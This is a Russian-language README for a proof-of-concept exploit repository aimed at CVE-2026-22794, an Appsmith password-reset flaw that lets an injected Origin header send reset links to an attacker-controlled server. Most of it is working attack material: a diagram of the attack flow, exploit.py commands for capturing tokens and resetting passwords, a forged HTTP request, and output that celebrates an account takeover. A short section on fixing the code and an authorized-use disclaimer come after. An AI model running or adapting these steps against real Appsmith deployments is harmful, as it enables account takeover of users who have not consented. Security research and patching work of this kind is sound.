
🔴 CVE-2026-22794 — Перехват аккаунта при сбросе пароля Appsmith через инъекцию заголовка Origin | PoC-эксплойт + шаблон Nuclei
Перехват ссылки сброса пароля через манипуляцию заголовком Origin
Этот репозиторий содержит Proof of Concept (PoC) эксплойт для CVE-2026-22794 — критической уязвимости в Appsmith, которая позволяет злоумышленникам перехватывать токены сброса пароля и получать полный контроль над учётной записью.
| Поле | Значение |
|---|
| CVE ID | CVE-2026-22794 |
| Затронутое ПО | Appsmith (версии до исправления) |
| Тип уязвимости | Внедрение заголовка Origin |
| Воздействие | Полный захват учётной записи |
| Оценка CVSS | 9.1 (Критическая) |
| Вектор атаки | Сеть |
| Сложность атаки | Низкая |
| Требуемые привилегии | Нет |
| Взаимодействие с пользователем | Требуется (жертва переходит по ссылке) |
Appsmith использует HTTP-заголовок Origin без проверки для формирования URL-адресов сброса пароля и подтверждения электронной почты. Уязвимый код напрямую присваивает заголовок Origin базовому URL сброса пароля:
userPasswordDTO.setBaseUrl(originHeader);
Это позволяет злоумышленнику:
┌─────────────────────────────────────────────────────────────────┐
│ ПОТОК АТАКИ │
└─────────────────────────────────────────────────────────────────┘
┌──────────┐ ┌──────────┐ ┌──────────┐
│ЗЛОУМЫШЛЕН-│ │ APPSMITH │ │ ЖЕРТВА │
│ НИК │ └────┬─────┘ └────┬─────┘
└────┬─────┘ │ │
│ │ │
│ 1. POST /forgotPassword │ │
│ Origin: attacker.com │ │
│ email: [email protected] │ │
│──────────────────────────────>│ │
│ │ │
│ │ 2. Отправка письма с │
│ │ attacker.com/reset?token │
│ │──────────────────────────────>│
│ │ │
│ 3. Жертва переходит по ссылке │ │
│<──────────────────────────────────────────────────────────────│
│ │ │
│ 4. Токен перехвачен! │ │
│ │ │
│ 5. POST /resetPassword │ │
│ token: STOLEN_TOKEN │ │
│ password: attacker123 │ │
│──────────────────────────────>│ │
│ │ │
│ 6. ЗАХВАТ УЧЁТНОЙ ЗАПИСИ! ✓ │ │
│ │ │
# Клонирование репозитория
git clone https://github.com/MalikHamza7/CVE-2026-22794-POC
cd CVE-2026-22794-POC
# Установка зависимостей
pip install -r requirements.txt
python exploit.py --target https://appsmith.target.com --check
python exploit.py --listen --port 8080
python exploit.py \
--target https://appsmith.target.com \
--email [email protected] \
--attacker-url https://your-server.com
python exploit.py \
--target https://appsmith.target.com \
--email [email protected] \
--attacker-url https://your-server.com \
--listen --port 8080
python exploit.py \
--target https://appsmith.target.com \
--reset-token CAPTURED_TOKEN \
--new-password "NewP@ssw0rd!"
POST /api/v1/users/forgotPassword HTTP/1.1
Host: appsmith.target.com
Origin: https://attacker-server.com
Content-Type: application/json
{
"email": "[email protected]"
}
Ссылка для сброса пароля: https://attacker-server.com/user/resetPassword?token=abc123xyz...
[+] ВХОДЯЩИЙ ЗАПРОС ПЕРЕХВАЧЕН!
[*] Путь: /user/resetPassword?token=abc123xyz789...
[!!!] ТОКЕН СБРОСА ПАРОЛЯ ПЕРЕХВАЧЕН!
[!!!] Токен: abc123xyz789...
[+] ЗАХВАТ УЧЁТНОЙ ЗАПИСИ УСПЕШЕН!
[+] Пароль был сброшен на: NewP@ssw0rd!
Организации, использующие Appsmith, должны:
// ❌ УЯЗВИМЫЙ КОД
userPasswordDTO.setBaseUrl(originHeader);
// ✅ БЕЗОПАСНЫЙ КОД
String configuredBaseUrl = applicationConfiguration.getBaseUrl();
// Или проверка по белому списку
if (!allowedOrigins.contains(originHeader)) {
throw new InvalidOriginException("Invalid origin header");
}
userPasswordDTO.setBaseUrl(configuredBaseUrl);
CVE-2026-22794/
├── README.md # Этот файл
├── exploit.py # Основной скрипт эксплойта
├── requirements.txt # Зависимости Python
├── LICENSE # Лицензия MIT
└── docs/
└── technical_analysis.md # Подробный анализ уязвимости
Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей.
Исследователь безопасности
Этот проект лицензирован по лицензии MIT — подробности см. в файле LICENSE.
⭐ Если вы нашли это полезным, пожалуйста, поставьте звёздочку репозиторию! ⭐